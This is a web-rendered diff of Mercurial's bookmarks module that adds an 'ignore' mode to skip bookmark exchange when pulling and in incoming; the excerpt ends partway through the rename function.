##// END OF EJS Templates
bookmarks: add a `ignore` variant of the bookmark mode...
marmoute -
r49058:b56858d8 default
parent child Browse files
Show More
@@ -1,1113 +1,1119
1 1 # Mercurial bookmark support code
2 2 #
3 3 # Copyright 2008 David Soria Parra <dsp@php.net>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import errno
11 11 import struct
12 12
13 13 from .i18n import _
14 14 from .node import (
15 15 bin,
16 16 hex,
17 17 short,
18 18 )
19 19 from .pycompat import getattr
20 20 from . import (
21 21 encoding,
22 22 error,
23 23 obsutil,
24 24 pycompat,
25 25 scmutil,
26 26 txnutil,
27 27 util,
28 28 )
29 29 from .utils import (
30 30 urlutil,
31 31 )
32 32
33 33 # label constants
34 34 # until 3.5, bookmarks.current was the advertised name, not
35 35 # bookmarks.active, so we must use both to avoid breaking old
36 36 # custom styles
37 37 activebookmarklabel = b'bookmarks.active bookmarks.current'
38 38
39 39 BOOKMARKS_IN_STORE_REQUIREMENT = b'bookmarksinstore'
40 40
41 41
42 42 def bookmarksinstore(repo):
43 43 return BOOKMARKS_IN_STORE_REQUIREMENT in repo.requirements
44 44
45 45
46 46 def bookmarksvfs(repo):
47 47 return repo.svfs if bookmarksinstore(repo) else repo.vfs
48 48
49 49
50 50 def _getbkfile(repo):
51 51 """Hook so that extensions that mess with the store can hook bm storage.
52 52
53 53 For core, this just handles wether we should see pending
54 54 bookmarks or the committed ones. Other extensions (like share)
55 55 may need to tweak this behavior further.
56 56 """
57 57 fp, pending = txnutil.trypending(
58 58 repo.root, bookmarksvfs(repo), b'bookmarks'
59 59 )
60 60 return fp
61 61
62 62
63 63 class bmstore(object):
64 64 r"""Storage for bookmarks.
65 65
66 66 This object should do all bookmark-related reads and writes, so
67 67 that it's fairly simple to replace the storage underlying
68 68 bookmarks without having to clone the logic surrounding
69 69 bookmarks. This type also should manage the active bookmark, if
70 70 any.
71 71
72 72 This particular bmstore implementation stores bookmarks as
73 73 {hash}\s{name}\n (the same format as localtags) in
74 74 .hg/bookmarks. The mapping is stored as {name: nodeid}.
75 75 """
76 76
77 77 def __init__(self, repo):
78 78 self._repo = repo
79 79 self._refmap = refmap = {} # refspec: node
80 80 self._nodemap = nodemap = {} # node: sorted([refspec, ...])
81 81 self._clean = True
82 82 self._aclean = True
83 83 has_node = repo.changelog.index.has_node
84 84 tonode = bin # force local lookup
85 85 try:
86 86 with _getbkfile(repo) as bkfile:
87 87 for line in bkfile:
88 88 line = line.strip()
89 89 if not line:
90 90 continue
91 91 try:
92 92 sha, refspec = line.split(b' ', 1)
93 93 node = tonode(sha)
94 94 if has_node(node):
95 95 refspec = encoding.tolocal(refspec)
96 96 refmap[refspec] = node
97 97 nrefs = nodemap.get(node)
98 98 if nrefs is None:
99 99 nodemap[node] = [refspec]
100 100 else:
101 101 nrefs.append(refspec)
102 102 if nrefs[-2] > refspec:
103 103 # bookmarks weren't sorted before 4.5
104 104 nrefs.sort()
105 105 except (TypeError, ValueError):
106 106 # TypeError:
107 107 # - bin(...)
108 108 # ValueError:
109 109 # - node in nm, for non-20-bytes entry
110 110 # - split(...), for string without ' '
111 111 bookmarkspath = b'.hg/bookmarks'
112 112 if bookmarksinstore(repo):
113 113 bookmarkspath = b'.hg/store/bookmarks'
114 114 repo.ui.warn(
115 115 _(b'malformed line in %s: %r\n')
116 116 % (bookmarkspath, pycompat.bytestr(line))
117 117 )
118 118 except IOError as inst:
119 119 if inst.errno != errno.ENOENT:
120 120 raise
121 121 self._active = _readactive(repo, self)
122 122
123 123 @property
124 124 def active(self):
125 125 return self._active
126 126
127 127 @active.setter
128 128 def active(self, mark):
129 129 if mark is not None and mark not in self._refmap:
130 130 raise AssertionError(b'bookmark %s does not exist!' % mark)
131 131
132 132 self._active = mark
133 133 self._aclean = False
134 134
135 135 def __len__(self):
136 136 return len(self._refmap)
137 137
138 138 def __iter__(self):
139 139 return iter(self._refmap)
140 140
141 141 def iteritems(self):
142 142 return pycompat.iteritems(self._refmap)
143 143
144 144 def items(self):
145 145 return self._refmap.items()
146 146
147 147 # TODO: maybe rename to allnames()?
148 148 def keys(self):
149 149 return self._refmap.keys()
150 150
151 151 # TODO: maybe rename to allnodes()? but nodes would have to be deduplicated
152 152 # could be self._nodemap.keys()
153 153 def values(self):
154 154 return self._refmap.values()
155 155
156 156 def __contains__(self, mark):
157 157 return mark in self._refmap
158 158
159 159 def __getitem__(self, mark):
160 160 return self._refmap[mark]
161 161
162 162 def get(self, mark, default=None):
163 163 return self._refmap.get(mark, default)
164 164
165 165 def _set(self, mark, node):
166 166 self._clean = False
167 167 if mark in self._refmap:
168 168 self._del(mark)
169 169 self._refmap[mark] = node
170 170 nrefs = self._nodemap.get(node)
171 171 if nrefs is None:
172 172 self._nodemap[node] = [mark]
173 173 else:
174 174 nrefs.append(mark)
175 175 nrefs.sort()
176 176
177 177 def _del(self, mark):
178 178 if mark not in self._refmap:
179 179 return
180 180 self._clean = False
181 181 node = self._refmap.pop(mark)
182 182 nrefs = self._nodemap[node]
183 183 if len(nrefs) == 1:
184 184 assert nrefs[0] == mark
185 185 del self._nodemap[node]
186 186 else:
187 187 nrefs.remove(mark)
188 188
189 189 def names(self, node):
190 190 """Return a sorted list of bookmarks pointing to the specified node"""
191 191 return self._nodemap.get(node, [])
192 192
193 193 def applychanges(self, repo, tr, changes):
194 194 """Apply a list of changes to bookmarks"""
195 195 bmchanges = tr.changes.get(b'bookmarks')
196 196 for name, node in changes:
197 197 old = self._refmap.get(name)
198 198 if node is None:
199 199 self._del(name)
200 200 else:
201 201 self._set(name, node)
202 202 if bmchanges is not None:
203 203 # if a previous value exist preserve the "initial" value
204 204 previous = bmchanges.get(name)
205 205 if previous is not None:
206 206 old = previous[0]
207 207 bmchanges[name] = (old, node)
208 208 self._recordchange(tr)
209 209
210 210 def _recordchange(self, tr):
211 211 """record that bookmarks have been changed in a transaction
212 212
213 213 The transaction is then responsible for updating the file content."""
214 214 location = b'' if bookmarksinstore(self._repo) else b'plain'
215 215 tr.addfilegenerator(
216 216 b'bookmarks', (b'bookmarks',), self._write, location=location
217 217 )
218 218 tr.hookargs[b'bookmark_moved'] = b'1'
219 219
220 220 def _writerepo(self, repo):
221 221 """Factored out for extensibility"""
222 222 rbm = repo._bookmarks
223 223 if rbm.active not in self._refmap:
224 224 rbm.active = None
225 225 rbm._writeactive()
226 226
227 227 if bookmarksinstore(repo):
228 228 vfs = repo.svfs
229 229 lock = repo.lock()
230 230 else:
231 231 vfs = repo.vfs
232 232 lock = repo.wlock()
233 233 with lock:
234 234 with vfs(b'bookmarks', b'w', atomictemp=True, checkambig=True) as f:
235 235 self._write(f)
236 236
237 237 def _writeactive(self):
238 238 if self._aclean:
239 239 return
240 240 with self._repo.wlock():
241 241 if self._active is not None:
242 242 with self._repo.vfs(
243 243 b'bookmarks.current', b'w', atomictemp=True, checkambig=True
244 244 ) as f:
245 245 f.write(encoding.fromlocal(self._active))
246 246 else:
247 247 self._repo.vfs.tryunlink(b'bookmarks.current')
248 248 self._aclean = True
249 249
250 250 def _write(self, fp):
251 251 for name, node in sorted(pycompat.iteritems(self._refmap)):
252 252 fp.write(b"%s %s\n" % (hex(node), encoding.fromlocal(name)))
253 253 self._clean = True
254 254 self._repo.invalidatevolatilesets()
255 255
256 256 def expandname(self, bname):
257 257 if bname == b'.':
258 258 if self.active:
259 259 return self.active
260 260 else:
261 261 raise error.RepoLookupError(_(b"no active bookmark"))
262 262 return bname
263 263
264 264 def checkconflict(self, mark, force=False, target=None):
265 265 """check repo for a potential clash of mark with an existing bookmark,
266 266 branch, or hash
267 267
268 268 If target is supplied, then check that we are moving the bookmark
269 269 forward.
270 270
271 271 If force is supplied, then forcibly move the bookmark to a new commit
272 272 regardless if it is a move forward.
273 273
274 274 If divergent bookmark are to be deleted, they will be returned as list.
275 275 """
276 276 cur = self._repo[b'.'].node()
277 277 if mark in self._refmap and not force:
278 278 if target:
279 279 if self._refmap[mark] == target and target == cur:
280 280 # re-activating a bookmark
281 281 return []
282 282 rev = self._repo[target].rev()
283 283 anc = self._repo.changelog.ancestors([rev])
284 284 bmctx = self._repo[self[mark]]
285 285 divs = [
286 286 self._refmap[b]
287 287 for b in self._refmap
288 288 if b.split(b'@', 1)[0] == mark.split(b'@', 1)[0]
289 289 ]
290 290
291 291 # allow resolving a single divergent bookmark even if moving
292 292 # the bookmark across branches when a revision is specified
293 293 # that contains a divergent bookmark
294 294 if bmctx.rev() not in anc and target in divs:
295 295 return divergent2delete(self._repo, [target], mark)
296 296
297 297 deletefrom = [
298 298 b for b in divs if self._repo[b].rev() in anc or b == target
299 299 ]
300 300 delbms = divergent2delete(self._repo, deletefrom, mark)
301 301 if validdest(self._repo, bmctx, self._repo[target]):
302 302 self._repo.ui.status(
303 303 _(b"moving bookmark '%s' forward from %s\n")
304 304 % (mark, short(bmctx.node()))
305 305 )
306 306 return delbms
307 307 raise error.Abort(
308 308 _(b"bookmark '%s' already exists (use -f to force)") % mark
309 309 )
310 310 if (
311 311 mark in self._repo.branchmap()
312 312 or mark == self._repo.dirstate.branch()
313 313 ) and not force:
314 314 raise error.Abort(
315 315 _(b"a bookmark cannot have the name of an existing branch")
316 316 )
317 317 if len(mark) > 3 and not force:
318 318 try:
319 319 shadowhash = scmutil.isrevsymbol(self._repo, mark)
320 320 except error.LookupError: # ambiguous identifier
321 321 shadowhash = False
322 322 if shadowhash:
323 323 self._repo.ui.warn(
324 324 _(
325 325 b"bookmark %s matches a changeset hash\n"
326 326 b"(did you leave a -r out of an 'hg bookmark' "
327 327 b"command?)\n"
328 328 )
329 329 % mark
330 330 )
331 331 return []
332 332
333 333
334 334 def _readactive(repo, marks):
335 335 """
336 336 Get the active bookmark. We can have an active bookmark that updates
337 337 itself as we commit. This function returns the name of that bookmark.
338 338 It is stored in .hg/bookmarks.current
339 339 """
340 340 # No readline() in osutil.posixfile, reading everything is
341 341 # cheap.
342 342 content = repo.vfs.tryread(b'bookmarks.current')
343 343 mark = encoding.tolocal((content.splitlines() or [b''])[0])
344 344 if mark == b'' or mark not in marks:
345 345 mark = None
346 346 return mark
347 347
348 348
349 349 def activate(repo, mark):
350 350 """
351 351 Set the given bookmark to be 'active', meaning that this bookmark will
352 352 follow new commits that are made.
353 353 The name is recorded in .hg/bookmarks.current
354 354 """
355 355 repo._bookmarks.active = mark
356 356 repo._bookmarks._writeactive()
357 357
358 358
359 359 def deactivate(repo):
360 360 """
361 361 Unset the active bookmark in this repository.
362 362 """
363 363 repo._bookmarks.active = None
364 364 repo._bookmarks._writeactive()
365 365
366 366
367 367 def isactivewdirparent(repo):
368 368 """
369 369 Tell whether the 'active' bookmark (the one that follows new commits)
370 370 points to one of the parents of the current working directory (wdir).
371 371
372 372 While this is normally the case, it can on occasion be false; for example,
373 373 immediately after a pull, the active bookmark can be moved to point
374 374 to a place different than the wdir. This is solved by running `hg update`.
375 375 """
376 376 mark = repo._activebookmark
377 377 marks = repo._bookmarks
378 378 parents = [p.node() for p in repo[None].parents()]
379 379 return mark in marks and marks[mark] in parents
380 380
381 381
382 382 def divergent2delete(repo, deletefrom, bm):
383 383 """find divergent versions of bm on nodes in deletefrom.
384 384
385 385 the list of bookmark to delete."""
386 386 todelete = []
387 387 marks = repo._bookmarks
388 388 divergent = [
389 389 b for b in marks if b.split(b'@', 1)[0] == bm.split(b'@', 1)[0]
390 390 ]
391 391 for mark in divergent:
392 392 if mark == b'@' or b'@' not in mark:
393 393 # can't be divergent by definition
394 394 continue
395 395 if mark and marks[mark] in deletefrom:
396 396 if mark != bm:
397 397 todelete.append(mark)
398 398 return todelete
399 399
400 400
401 401 def headsforactive(repo):
402 402 """Given a repo with an active bookmark, return divergent bookmark nodes.
403 403
404 404 Args:
405 405 repo: A repository with an active bookmark.
406 406
407 407 Returns:
408 408 A list of binary node ids that is the full list of other
409 409 revisions with bookmarks divergent from the active bookmark. If
410 410 there were no divergent bookmarks, then this list will contain
411 411 only one entry.
412 412 """
413 413 if not repo._activebookmark:
414 414 raise ValueError(
415 415 b'headsforactive() only makes sense with an active bookmark'
416 416 )
417 417 name = repo._activebookmark.split(b'@', 1)[0]
418 418 heads = []
419 419 for mark, n in pycompat.iteritems(repo._bookmarks):
420 420 if mark.split(b'@', 1)[0] == name:
421 421 heads.append(n)
422 422 return heads
423 423
424 424
425 425 def calculateupdate(ui, repo):
426 426 """Return a tuple (activemark, movemarkfrom) indicating the active bookmark
427 427 and where to move the active bookmark from, if needed."""
428 428 checkout, movemarkfrom = None, None
429 429 activemark = repo._activebookmark
430 430 if isactivewdirparent(repo):
431 431 movemarkfrom = repo[b'.'].node()
432 432 elif activemark:
433 433 ui.status(_(b"updating to active bookmark %s\n") % activemark)
434 434 checkout = activemark
435 435 return (checkout, movemarkfrom)
436 436
437 437
438 438 def update(repo, parents, node):
439 439 deletefrom = parents
440 440 marks = repo._bookmarks
441 441 active = marks.active
442 442 if not active:
443 443 return False
444 444
445 445 bmchanges = []
446 446 if marks[active] in parents:
447 447 new = repo[node]
448 448 divs = [
449 449 repo[marks[b]]
450 450 for b in marks
451 451 if b.split(b'@', 1)[0] == active.split(b'@', 1)[0]
452 452 ]
453 453 anc = repo.changelog.ancestors([new.rev()])
454 454 deletefrom = [b.node() for b in divs if b.rev() in anc or b == new]
455 455 if validdest(repo, repo[marks[active]], new):
456 456 bmchanges.append((active, new.node()))
457 457
458 458 for bm in divergent2delete(repo, deletefrom, active):
459 459 bmchanges.append((bm, None))
460 460
461 461 if bmchanges:
462 462 with repo.lock(), repo.transaction(b'bookmark') as tr:
463 463 marks.applychanges(repo, tr, bmchanges)
464 464 return bool(bmchanges)
465 465
466 466
467 467 def isdivergent(b):
468 468 return b'@' in b and not b.endswith(b'@')
469 469
470 470
471 471 def listbinbookmarks(repo):
472 472 # We may try to list bookmarks on a repo type that does not
473 473 # support it (e.g., statichttprepository).
474 474 marks = getattr(repo, '_bookmarks', {})
475 475
476 476 hasnode = repo.changelog.hasnode
477 477 for k, v in pycompat.iteritems(marks):
478 478 # don't expose local divergent bookmarks
479 479 if hasnode(v) and not isdivergent(k):
480 480 yield k, v
481 481
482 482
483 483 def listbookmarks(repo):
484 484 d = {}
485 485 for book, node in listbinbookmarks(repo):
486 486 d[book] = hex(node)
487 487 return d
488 488
489 489
490 490 def pushbookmark(repo, key, old, new):
491 491 if isdivergent(key):
492 492 return False
493 493 if bookmarksinstore(repo):
494 494 wlock = util.nullcontextmanager()
495 495 else:
496 496 wlock = repo.wlock()
497 497 with wlock, repo.lock(), repo.transaction(b'bookmarks') as tr:
498 498 marks = repo._bookmarks
499 499 existing = hex(marks.get(key, b''))
500 500 if existing != old and existing != new:
501 501 return False
502 502 if new == b'':
503 503 changes = [(key, None)]
504 504 else:
505 505 if new not in repo:
506 506 return False
507 507 changes = [(key, repo[new].node())]
508 508 marks.applychanges(repo, tr, changes)
509 509 return True
510 510
511 511
512 512 def comparebookmarks(repo, srcmarks, dstmarks, targets=None):
513 513 """Compare bookmarks between srcmarks and dstmarks
514 514
515 515 This returns tuple "(addsrc, adddst, advsrc, advdst, diverge,
516 516 differ, invalid)", each are list of bookmarks below:
517 517
518 518 :addsrc: added on src side (removed on dst side, perhaps)
519 519 :adddst: added on dst side (removed on src side, perhaps)
520 520 :advsrc: advanced on src side
521 521 :advdst: advanced on dst side
522 522 :diverge: diverge
523 523 :differ: changed, but changeset referred on src is unknown on dst
524 524 :invalid: unknown on both side
525 525 :same: same on both side
526 526
527 527 Each elements of lists in result tuple is tuple "(bookmark name,
528 528 changeset ID on source side, changeset ID on destination
529 529 side)". Each changeset ID is a binary node or None.
530 530
531 531 Changeset IDs of tuples in "addsrc", "adddst", "differ" or
532 532 "invalid" list may be unknown for repo.
533 533
534 534 If "targets" is specified, only bookmarks listed in it are
535 535 examined.
536 536 """
537 537
538 538 if targets:
539 539 bset = set(targets)
540 540 else:
541 541 srcmarkset = set(srcmarks)
542 542 dstmarkset = set(dstmarks)
543 543 bset = srcmarkset | dstmarkset
544 544
545 545 results = ([], [], [], [], [], [], [], [])
546 546 addsrc = results[0].append
547 547 adddst = results[1].append
548 548 advsrc = results[2].append
549 549 advdst = results[3].append
550 550 diverge = results[4].append
551 551 differ = results[5].append
552 552 invalid = results[6].append
553 553 same = results[7].append
554 554
555 555 for b in sorted(bset):
556 556 if b not in srcmarks:
557 557 if b in dstmarks:
558 558 adddst((b, None, dstmarks[b]))
559 559 else:
560 560 invalid((b, None, None))
561 561 elif b not in dstmarks:
562 562 addsrc((b, srcmarks[b], None))
563 563 else:
564 564 scid = srcmarks[b]
565 565 dcid = dstmarks[b]
566 566 if scid == dcid:
567 567 same((b, scid, dcid))
568 568 elif scid in repo and dcid in repo:
569 569 sctx = repo[scid]
570 570 dctx = repo[dcid]
571 571 if sctx.rev() < dctx.rev():
572 572 if validdest(repo, sctx, dctx):
573 573 advdst((b, scid, dcid))
574 574 else:
575 575 diverge((b, scid, dcid))
576 576 else:
577 577 if validdest(repo, dctx, sctx):
578 578 advsrc((b, scid, dcid))
579 579 else:
580 580 diverge((b, scid, dcid))
581 581 else:
582 582 # it is too expensive to examine in detail, in this case
583 583 differ((b, scid, dcid))
584 584
585 585 return results
586 586
587 587
588 588 def _diverge(ui, b, path, localmarks, remotenode):
589 589 """Return appropriate diverged bookmark for specified ``path``
590 590
591 591 This returns None, if it is failed to assign any divergent
592 592 bookmark name.
593 593
594 594 This reuses already existing one with "@number" suffix, if it
595 595 refers ``remotenode``.
596 596 """
597 597 if b == b'@':
598 598 b = b''
599 599 # try to use an @pathalias suffix
600 600 # if an @pathalias already exists, we overwrite (update) it
601 601 if path.startswith(b"file:"):
602 602 path = urlutil.url(path).path
603 603 for name, p in urlutil.list_paths(ui):
604 604 loc = p.rawloc
605 605 if loc.startswith(b"file:"):
606 606 loc = urlutil.url(loc).path
607 607 if path == loc:
608 608 return b'%s@%s' % (b, name)
609 609
610 610 # assign a unique "@number" suffix newly
611 611 for x in range(1, 100):
612 612 n = b'%s@%d' % (b, x)
613 613 if n not in localmarks or localmarks[n] == remotenode:
614 614 return n
615 615
616 616 return None
617 617
618 618
619 619 def unhexlifybookmarks(marks):
620 620 binremotemarks = {}
621 621 for name, node in marks.items():
622 622 binremotemarks[name] = bin(node)
623 623 return binremotemarks
624 624
625 625
626 626 _binaryentry = struct.Struct(b'>20sH')
627 627
628 628
629 629 def binaryencode(repo, bookmarks):
630 630 """encode a '(bookmark, node)' iterable into a binary stream
631 631
632 632 the binary format is:
633 633
634 634 <node><bookmark-length><bookmark-name>
635 635
636 636 :node: is a 20 bytes binary node,
637 637 :bookmark-length: an unsigned short,
638 638 :bookmark-name: the name of the bookmark (of length <bookmark-length>)
639 639
640 640 wdirid (all bits set) will be used as a special value for "missing"
641 641 """
642 642 binarydata = []
643 643 for book, node in bookmarks:
644 644 if not node: # None or ''
645 645 node = repo.nodeconstants.wdirid
646 646 binarydata.append(_binaryentry.pack(node, len(book)))
647 647 binarydata.append(book)
648 648 return b''.join(binarydata)
649 649
650 650
651 651 def binarydecode(repo, stream):
652 652 """decode a binary stream into an '(bookmark, node)' iterable
653 653
654 654 the binary format is:
655 655
656 656 <node><bookmark-length><bookmark-name>
657 657
658 658 :node: is a 20 bytes binary node,
659 659 :bookmark-length: an unsigned short,
660 660 :bookmark-name: the name of the bookmark (of length <bookmark-length>))
661 661
662 662 wdirid (all bits set) will be used as a special value for "missing"
663 663 """
664 664 entrysize = _binaryentry.size
665 665 books = []
666 666 while True:
667 667 entry = stream.read(entrysize)
668 668 if len(entry) < entrysize:
669 669 if entry:
670 670 raise error.Abort(_(b'bad bookmark stream'))
671 671 break
672 672 node, length = _binaryentry.unpack(entry)
673 673 bookmark = stream.read(length)
674 674 if len(bookmark) < length:
675 675 if entry:
676 676 raise error.Abort(_(b'bad bookmark stream'))
677 677 if node == repo.nodeconstants.wdirid:
678 678 node = None
679 679 books.append((bookmark, node))
680 680 return books
681 681
682 682
683 683 def mirroring_remote(ui, repo, remotemarks):
684 684 """computes the bookmark changes that set the local bookmarks to
685 685 remotemarks"""
686 686 changed = []
687 687 localmarks = repo._bookmarks
688 688 for (b, id) in pycompat.iteritems(remotemarks):
689 689 if id != localmarks.get(b, None) and id in repo:
690 690 changed.append((b, id, ui.debug, _(b"updating bookmark %s\n") % b))
691 691 for b in localmarks:
692 692 if b not in remotemarks:
693 693 changed.append(
694 694 (b, None, ui.debug, _(b"removing bookmark %s\n") % b)
695 695 )
696 696 return changed
697 697
698 698
699 699 def merging_from_remote(ui, repo, remotemarks, path, explicit=()):
700 700 """computes the bookmark changes that merge remote bookmarks into the
701 701 local bookmarks, based on comparebookmarks"""
702 702 localmarks = repo._bookmarks
703 703 (
704 704 addsrc,
705 705 adddst,
706 706 advsrc,
707 707 advdst,
708 708 diverge,
709 709 differ,
710 710 invalid,
711 711 same,
712 712 ) = comparebookmarks(repo, remotemarks, localmarks)
713 713
714 714 status = ui.status
715 715 warn = ui.warn
716 716 if ui.configbool(b'ui', b'quietbookmarkmove'):
717 717 status = warn = ui.debug
718 718
719 719 explicit = set(explicit)
720 720 changed = []
721 721 for b, scid, dcid in addsrc:
722 722 if scid in repo: # add remote bookmarks for changes we already have
723 723 changed.append(
724 724 (b, scid, status, _(b"adding remote bookmark %s\n") % b)
725 725 )
726 726 elif b in explicit:
727 727 explicit.remove(b)
728 728 ui.warn(
729 729 _(b"remote bookmark %s points to locally missing %s\n")
730 730 % (b, hex(scid)[:12])
731 731 )
732 732
733 733 for b, scid, dcid in advsrc:
734 734 changed.append((b, scid, status, _(b"updating bookmark %s\n") % b))
735 735 # remove normal movement from explicit set
736 736 explicit.difference_update(d[0] for d in changed)
737 737
738 738 for b, scid, dcid in diverge:
739 739 if b in explicit:
740 740 explicit.discard(b)
741 741 changed.append((b, scid, status, _(b"importing bookmark %s\n") % b))
742 742 else:
743 743 db = _diverge(ui, b, path, localmarks, scid)
744 744 if db:
745 745 changed.append(
746 746 (
747 747 db,
748 748 scid,
749 749 warn,
750 750 _(b"divergent bookmark %s stored as %s\n") % (b, db),
751 751 )
752 752 )
753 753 else:
754 754 warn(
755 755 _(
756 756 b"warning: failed to assign numbered name "
757 757 b"to divergent bookmark %s\n"
758 758 )
759 759 % b
760 760 )
761 761 for b, scid, dcid in adddst + advdst:
762 762 if b in explicit:
763 763 explicit.discard(b)
764 764 changed.append((b, scid, status, _(b"importing bookmark %s\n") % b))
765 765 for b, scid, dcid in differ:
766 766 if b in explicit:
767 767 explicit.remove(b)
768 768 ui.warn(
769 769 _(b"remote bookmark %s points to locally missing %s\n")
770 770 % (b, hex(scid)[:12])
771 771 )
772 772 return changed
773 773
774 774
775 775 def updatefromremote(
776 776 ui, repo, remotemarks, path, trfunc, explicit=(), mode=None
777 777 ):
778 if mode == b'ignore':
779 # This should move to an higher level to avoid fetching bookmark at all
780 return
778 781 ui.debug(b"checking for updated bookmarks\n")
779 782 if mode == b'mirror':
780 783 changed = mirroring_remote(ui, repo, remotemarks)
781 784 else:
782 785 changed = merging_from_remote(ui, repo, remotemarks, path, explicit)
783 786
784 787 if changed:
785 788 tr = trfunc()
786 789 changes = []
787 790 key = lambda t: (t[0], t[1] or b'')
788 791 for b, node, writer, msg in sorted(changed, key=key):
789 792 changes.append((b, node))
790 793 writer(msg)
791 794 repo._bookmarks.applychanges(repo, tr, changes)
792 795
793 796
794 797 def incoming(ui, repo, peer, mode=None):
795 798 """Show bookmarks incoming from other to repo"""
799 if mode == b'ignore':
800 ui.status(_(b"bookmarks exchange disabled with this path\n"))
801 return 0
796 802 ui.status(_(b"searching for changed bookmarks\n"))
797 803
798 804 with peer.commandexecutor() as e:
799 805 remotemarks = unhexlifybookmarks(
800 806 e.callcommand(
801 807 b'listkeys',
802 808 {
803 809 b'namespace': b'bookmarks',
804 810 },
805 811 ).result()
806 812 )
807 813
808 814 incomings = []
809 815 if ui.debugflag:
810 816 getid = lambda id: id
811 817 else:
812 818 getid = lambda id: id[:12]
813 819 if ui.verbose:
814 820
815 821 def add(b, id, st):
816 822 incomings.append(b" %-25s %s %s\n" % (b, getid(id), st))
817 823
818 824 else:
819 825
820 826 def add(b, id, st):
821 827 incomings.append(b" %-25s %s\n" % (b, getid(id)))
822 828
823 829 if mode == b'mirror':
824 830 localmarks = repo._bookmarks
825 831 allmarks = set(remotemarks.keys()) | set(localmarks.keys())
826 832 for b in sorted(allmarks):
827 833 loc = localmarks.get(b)
828 834 rem = remotemarks.get(b)
829 835 if loc == rem:
830 836 continue
831 837 elif loc is None:
832 838 add(b, hex(rem), _(b'added'))
833 839 elif rem is None:
834 840 add(b, hex(repo.nullid), _(b'removed'))
835 841 else:
836 842 add(b, hex(rem), _(b'changed'))
837 843 else:
838 844 r = comparebookmarks(repo, remotemarks, repo._bookmarks)
839 845 addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = r
840 846
841 847 for b, scid, dcid in addsrc:
842 848 # i18n: "added" refers to a bookmark
843 849 add(b, hex(scid), _(b'added'))
844 850 for b, scid, dcid in advsrc:
845 851 # i18n: "advanced" refers to a bookmark
846 852 add(b, hex(scid), _(b'advanced'))
847 853 for b, scid, dcid in diverge:
848 854 # i18n: "diverged" refers to a bookmark
849 855 add(b, hex(scid), _(b'diverged'))
850 856 for b, scid, dcid in differ:
851 857 # i18n: "changed" refers to a bookmark
852 858 add(b, hex(scid), _(b'changed'))
853 859
854 860 if not incomings:
855 861 ui.status(_(b"no changed bookmarks found\n"))
856 862 return 1
857 863
858 864 for s in sorted(incomings):
859 865 ui.write(s)
860 866
861 867 return 0
862 868
863 869
864 870 def outgoing(ui, repo, other):
865 871 """Show bookmarks outgoing from repo to other"""
866 872 ui.status(_(b"searching for changed bookmarks\n"))
867 873
868 874 remotemarks = unhexlifybookmarks(other.listkeys(b'bookmarks'))
869 875 r = comparebookmarks(repo, repo._bookmarks, remotemarks)
870 876 addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = r
871 877
872 878 outgoings = []
873 879 if ui.debugflag:
874 880 getid = lambda id: id
875 881 else:
876 882 getid = lambda id: id[:12]
877 883 if ui.verbose:
878 884
879 885 def add(b, id, st):
880 886 outgoings.append(b" %-25s %s %s\n" % (b, getid(id), st))
881 887
882 888 else:
883 889
884 890 def add(b, id, st):
885 891 outgoings.append(b" %-25s %s\n" % (b, getid(id)))
886 892
887 893 for b, scid, dcid in addsrc:
888 894 # i18n: "added refers to a bookmark
889 895 add(b, hex(scid), _(b'added'))
890 896 for b, scid, dcid in adddst:
891 897 # i18n: "deleted" refers to a bookmark
892 898 add(b, b' ' * 40, _(b'deleted'))
893 899 for b, scid, dcid in advsrc:
894 900 # i18n: "advanced" refers to a bookmark
895 901 add(b, hex(scid), _(b'advanced'))
896 902 for b, scid, dcid in diverge:
897 903 # i18n: "diverged" refers to a bookmark
898 904 add(b, hex(scid), _(b'diverged'))
899 905 for b, scid, dcid in differ:
900 906 # i18n: "changed" refers to a bookmark
901 907 add(b, hex(scid), _(b'changed'))
902 908
903 909 if not outgoings:
904 910 ui.status(_(b"no changed bookmarks found\n"))
905 911 return 1
906 912
907 913 for s in sorted(outgoings):
908 914 ui.write(s)
909 915
910 916 return 0
911 917
912 918
913 919 def summary(repo, peer):
914 920 """Compare bookmarks between repo and other for "hg summary" output
915 921
916 922 This returns "(# of incoming, # of outgoing)" tuple.
917 923 """
918 924 with peer.commandexecutor() as e:
919 925 remotemarks = unhexlifybookmarks(
920 926 e.callcommand(
921 927 b'listkeys',
922 928 {
923 929 b'namespace': b'bookmarks',
924 930 },
925 931 ).result()
926 932 )
927 933
928 934 r = comparebookmarks(repo, remotemarks, repo._bookmarks)
929 935 addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = r
930 936 return (len(addsrc), len(adddst))
931 937
932 938
933 939 def validdest(repo, old, new):
934 940 """Is the new bookmark destination a valid update from the old one"""
935 941 repo = repo.unfiltered()
936 942 if old == new:
937 943 # Old == new -> nothing to update.
938 944 return False
939 945 elif not old:
940 946 # old is nullrev, anything is valid.
941 947 # (new != nullrev has been excluded by the previous check)
942 948 return True
943 949 elif repo.obsstore:
944 950 return new.node() in obsutil.foreground(repo, [old.node()])
945 951 else:
946 952 # still an independent clause as it is lazier (and therefore faster)
947 953 return old.isancestorof(new)
948 954
949 955
950 956 def checkformat(repo, mark):
951 957 """return a valid version of a potential bookmark name
952 958
953 959 Raises an abort error if the bookmark name is not valid.
954 960 """
955 961 mark = mark.strip()
956 962 if not mark:
957 963 raise error.InputError(
958 964 _(b"bookmark names cannot consist entirely of whitespace")
959 965 )
960 966 scmutil.checknewlabel(repo, mark, b'bookmark')
961 967 return mark
962 968
963 969
964 970 def delete(repo, tr, names):
965 971 """remove a mark from the bookmark store
966 972
967 973 Raises an abort error if mark does not exist.
968 974 """
969 975 marks = repo._bookmarks
970 976 changes = []
971 977 for mark in names:
972 978 if mark not in marks:
973 979 raise error.InputError(_(b"bookmark '%s' does not exist") % mark)
974 980 if mark == repo._activebookmark:
975 981 deactivate(repo)
976 982 changes.append((mark, None))
977 983 marks.applychanges(repo, tr, changes)
978 984
979 985
980 986 def rename(repo, tr, old, new, force=False, inactive=False):
981 987 """rename a bookmark from old to new
982 988
983 989 If force is specified, then the new name can overwrite an existing
984 990 bookmark.
985 991
986 992 If inactive is specified, then do not activate the new bookmark.
987 993
988 994 Raises an abort error if old is not in the bookmark store.
989 995 """
990 996 marks = repo._bookmarks
991 997 mark = checkformat(repo, new)
992 998 if old not in marks:
993 999 raise error.InputError(_(b"bookmark '%s' does not exist") % old)
994 1000 changes = []
995 1001 for bm in marks.checkconflict(mark, force):
